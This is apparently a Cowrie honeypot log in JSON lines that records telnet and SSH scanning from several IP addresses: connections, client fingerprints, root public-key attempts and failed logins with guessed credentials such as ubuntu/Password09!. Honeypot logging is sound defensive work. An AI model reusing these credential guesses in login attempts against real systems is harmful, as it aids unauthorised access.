{"eventid":"cowrie.session.closed","duration":0.005553483963012695,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:26:16.074325Z","src_ip":"45.63.78.87","session":"36f60a2c4b8b","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7018c575f475e3e18f7842706d0c4773aea346bf2ca7cf516dd7697a79fe2e94","size":334,"shasum":"7018c575f475e3e18f7842706d0c4773aea346bf2ca7cf516dd7697a79fe2e94","duplicate":false,"duration":"42.0","message":"Closing TTY Log: var/lib/cowrie/tty/7018c575f475e3e18f7842706d0c4773aea346bf2ca7cf516dd7697a79fe2e94 after 42.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:26:18.011063Z","src_ip":"23.30.237.219","session":"f9dafeb820eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":75.13843536376953,"message":"Connection lost after 75 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:26:18.025364Z","src_ip":"23.30.237.219","session":"f9dafeb820eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":30908,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfea6b8d9fac","protocol":"ssh","message":"New connection: 185.9.193.111:30908 (159.203.135.109:22) [session: cfea6b8d9fac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:26:28.227383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:26:28.233968Z","src_ip":"185.9.193.111","session":"cfea6b8d9fac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:26:28.522941Z","src_ip":"185.9.193.111","session":"cfea6b8d9fac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Password09!","message":"login attempt [ubuntu/Password09!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:26:30.062731Z","src_ip":"185.9.193.111","session":"cfea6b8d9fac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:26:31.499948Z","src_ip":"185.9.193.111","session":"cfea6b8d9fac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.307217121124268,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:26:32.466955Z","src_ip":"45.63.78.87","session":"b896a0f8cca1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.439085483551025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:26:33.368079Z","src_ip":"45.63.78.87","session":"0537039222fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":47762,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f452c7a572f","protocol":"telnet","message":"New connection: 45.63.78.87:47762 (10.17.0.5:23) [session: 1f452c7a572f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:26:37.938153Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":51094,"dst_ip":"10.17.0.5","dst_port":23,"session":"61e4c150f10b","protocol":"telnet","message":"New connection: 45.63.78.87:51094 (10.17.0.5:23) [session: 61e4c150f10b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:26:50.950361Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":52940,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e7e5f5000b1","protocol":"telnet","message":"New connection: 45.63.78.87:52940 (10.17.0.5:23) [session: 8e7e5f5000b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:00.794989Z"}
{"eventid":"cowrie.session.closed","duration":30.648526191711426,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:08.586550Z","src_ip":"45.63.78.87","session":"1f452c7a572f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":55870,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0c4d72a74e1","protocol":"telnet","message":"New connection: 45.63.78.87:55870 (10.17.0.5:23) [session: b0c4d72a74e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:09.788265Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":58256,"dst_ip":"10.17.0.5","dst_port":23,"session":"3310d4e6b81e","protocol":"telnet","message":"New connection: 45.63.78.87:58256 (10.17.0.5:23) [session: 3310d4e6b81e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:19.091594Z"}
{"eventid":"cowrie.session.closed","duration":31.068844318389893,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:22.019106Z","src_ip":"45.63.78.87","session":"61e4c150f10b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.146.52","src_port":54180,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fa4edfad3e6","protocol":"ssh","message":"New connection: 45.148.146.52:54180 (10.17.0.5:22) [session: 3fa4edfad3e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:27.102264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:27.107889Z","src_ip":"45.148.146.52","session":"3fa4edfad3e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:27.190477Z","src_ip":"45.148.146.52","session":"3fa4edfad3e6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:d9:e5:ef:ac:81:15:bc:33:9d:95:ff:25:ad:6f:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWjmzw9oHkboJF2rjf23lm5c3NV2p31Z81eKViBUqtXak+4F7vs7JHpqzg8Z2lZPhZKYXl7qdoF3NRpG8kwAUfXVKZXVXRJ/KT9Yt5za6UW576jcuplEOrLXevoUlM3+2Fnnm+qcmRQLcGzSxNhPvUIhu7NaPLzJuA2Z/RSxVR2cYlmogrEYAJxNN8K7SzTLl7yXALd6q3xZSCJPM4MSjpERhS9wNLC08GwJuf4HYSKK1ZeRmuAJBhTsAYGiXyZNLp9a1oVw/rCXb2VGE/YsTlN2DAdW4ECJkO7wakzlULUykDh4ZzAgQ7sfT/gNeusvCW6wyLjdsX0DDEIvPDDhIR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 59:d9:e5:ef:ac:81:15:bc:33:9d:95:ff:25:ad:6f:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:27.575587Z","src_ip":"45.148.146.52","session":"3fa4edfad3e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:d9:e5:ef:ac:81:15:bc:33:9d:95:ff:25:ad:6f:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWjmzw9oHkboJF2rjf23lm5c3NV2p31Z81eKViBUqtXak+4F7vs7JHpqzg8Z2lZPhZKYXl7qdoF3NRpG8kwAUfXVKZXVXRJ/KT9Yt5za6UW576jcuplEOrLXevoUlM3+2Fnnm+qcmRQLcGzSxNhPvUIhu7NaPLzJuA2Z/RSxVR2cYlmogrEYAJxNN8K7SzTLl7yXALd6q3xZSCJPM4MSjpERhS9wNLC08GwJuf4HYSKK1ZeRmuAJBhTsAYGiXyZNLp9a1oVw/rCXb2VGE/YsTlN2DAdW4ECJkO7wakzlULUykDh4ZzAgQ7sfT/gNeusvCW6wyLjdsX0DDEIvPDDhIR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:27.579584Z","src_ip":"45.148.146.52","session":"3fa4edfad3e6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:d5:db:02:e2:a1:92:1c:c5:71:14:7a:1d:ad:f2:d3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBN4D42HbOTEE3Atp9lpXvI96jW+AFkzCz6mHk1e02Iy","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 70:d5:db:02:e2:a1:92:1c:c5:71:14:7a:1d:ad:f2:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:27.665024Z","src_ip":"45.148.146.52","session":"3fa4edfad3e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:d5:db:02:e2:a1:92:1c:c5:71:14:7a:1d:ad:f2:d3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBN4D42HbOTEE3Atp9lpXvI96jW+AFkzCz6mHk1e02Iy","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:27.670072Z","src_ip":"45.148.146.52","session":"3fa4edfad3e6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:74:13:61:b5:53:8c:29:74:f4:46:20:ba:2f:94:fc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBwHmL7MeAGPlXBhoY8dy7qKdULUi+kRfkgWew/HBSpA","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 71:74:13:61:b5:53:8c:29:74:f4:46:20:ba:2f:94:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:27.753675Z","src_ip":"45.148.146.52","session":"3fa4edfad3e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:74:13:61:b5:53:8c:29:74:f4:46:20:ba:2f:94:fc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBwHmL7MeAGPlXBhoY8dy7qKdULUi+kRfkgWew/HBSpA","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:27.758940Z","src_ip":"45.148.146.52","session":"3fa4edfad3e6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:bc:d6:64:62:fb:62:18:6a:8b:18:5f:47:ae:b7:fc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIItSyGhI9f/DAgN9HQMvW6f0EHU266TYsCfoDwmlk+Kv","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 55:bc:d6:64:62:fb:62:18:6a:8b:18:5f:47:ae:b7:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:27.842359Z","src_ip":"45.148.146.52","session":"3fa4edfad3e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:bc:d6:64:62:fb:62:18:6a:8b:18:5f:47:ae:b7:fc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIItSyGhI9f/DAgN9HQMvW6f0EHU266TYsCfoDwmlk+Kv","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:27.846115Z","src_ip":"45.148.146.52","session":"3fa4edfad3e6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:08:31:f2:1f:fc:43:0e:74:80:53:eb:ca:b7:63:a8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPVSKuQ8U5BPAubpUYJv8vz0ChQJHJ//H7gC9huEnKsO","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 30:08:31:f2:1f:fc:43:0e:74:80:53:eb:ca:b7:63:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:27.928339Z","src_ip":"45.148.146.52","session":"3fa4edfad3e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:08:31:f2:1f:fc:43:0e:74:80:53:eb:ca:b7:63:a8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPVSKuQ8U5BPAubpUYJv8vz0ChQJHJ//H7gC9huEnKsO","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:27.932521Z","src_ip":"45.148.146.52","session":"3fa4edfad3e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:28.016609Z","src_ip":"45.148.146.52","session":"3fa4edfad3e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":60322,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce7240efc426","protocol":"telnet","message":"New connection: 45.63.78.87:60322 (10.17.0.5:23) [session: ce7240efc426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:28.036664Z"}
{"eventid":"cowrie.session.closed","duration":30.799636363983154,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:31.594520Z","src_ip":"45.63.78.87","session":"8e7e5f5000b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":33966,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a84bb175fe9","protocol":"telnet","message":"New connection: 45.63.78.87:33966 (10.17.0.5:23) [session: 3a84bb175fe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:37.686942Z"}
{"eventid":"cowrie.session.closed","duration":30.34772300720215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:40.135867Z","src_ip":"45.63.78.87","session":"b0c4d72a74e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":34840,"dst_ip":"10.17.0.5","dst_port":23,"session":"7813aa57b0b0","protocol":"telnet","message":"New connection: 45.63.78.87:34840 (10.17.0.5:23) [session: 7813aa57b0b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:41.488911Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":35050,"dst_ip":"10.17.0.5","dst_port":23,"session":"476e066347b0","protocol":"telnet","message":"New connection: 45.63.78.87:35050 (10.17.0.5:23) [session: 476e066347b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:41.546884Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":49102,"dst_ip":"159.203.135.109","dst_port":22,"session":"bccdd6e8726d","protocol":"ssh","message":"New connection: 185.9.193.111:49102 (159.203.135.109:22) [session: bccdd6e8726d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:47.092596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:47.097334Z","src_ip":"185.9.193.111","session":"bccdd6e8726d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:47.386064Z","src_ip":"185.9.193.111","session":"bccdd6e8726d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":36416,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d8719dc3800","protocol":"telnet","message":"New connection: 45.63.78.87:36416 (10.17.0.5:23) [session: 7d8719dc3800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:47.911713Z"}
{"eventid":"cowrie.login.failed","username":"dev","password":"1234","message":"login attempt [dev/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:48.974306Z","src_ip":"185.9.193.111","session":"bccdd6e8726d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.13926339149475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:50.230765Z","src_ip":"45.63.78.87","session":"3310d4e6b81e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:50.595433Z","src_ip":"185.9.193.111","session":"bccdd6e8726d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":38002,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ef5d3204649","protocol":"telnet","message":"New connection: 45.63.78.87:38002 (10.17.0.5:23) [session: 1ef5d3204649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:53.055702Z"}
{"eventid":"cowrie.session.closed","duration":31.822500467300415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:27:59.859051Z","src_ip":"45.63.78.87","session":"ce7240efc426","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76244568824768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:08.449377Z","src_ip":"45.63.78.87","session":"3a84bb175fe9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":42798,"dst_ip":"159.203.135.109","dst_port":23,"session":"da2ed8c83a52","protocol":"telnet","message":"New connection: 135.148.33.91:42798 (159.203.135.109:23) [session: da2ed8c83a52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:09.762549Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":43034,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fdc1d7c44d0","protocol":"telnet","message":"New connection: 45.63.78.87:43034 (10.17.0.5:23) [session: 0fdc1d7c44d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:10.221978Z"}
{"eventid":"cowrie.session.closed","duration":31.075657606124878,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:12.622445Z","src_ip":"45.63.78.87","session":"476e066347b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.159772396087646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:12.648542Z","src_ip":"45.63.78.87","session":"7813aa57b0b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":43730,"dst_ip":"10.17.0.5","dst_port":23,"session":"17b950a73ca9","protocol":"telnet","message":"New connection: 45.63.78.87:43730 (10.17.0.5:23) [session: 17b950a73ca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:14.157383Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":43878,"dst_ip":"10.17.0.5","dst_port":23,"session":"8414b360c04c","protocol":"telnet","message":"New connection: 45.63.78.87:43878 (10.17.0.5:23) [session: 8414b360c04c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:14.735330Z"}
{"eventid":"cowrie.session.closed","duration":31.086819410324097,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:18.998410Z","src_ip":"45.63.78.87","session":"7d8719dc3800","protocol":"telnet"}
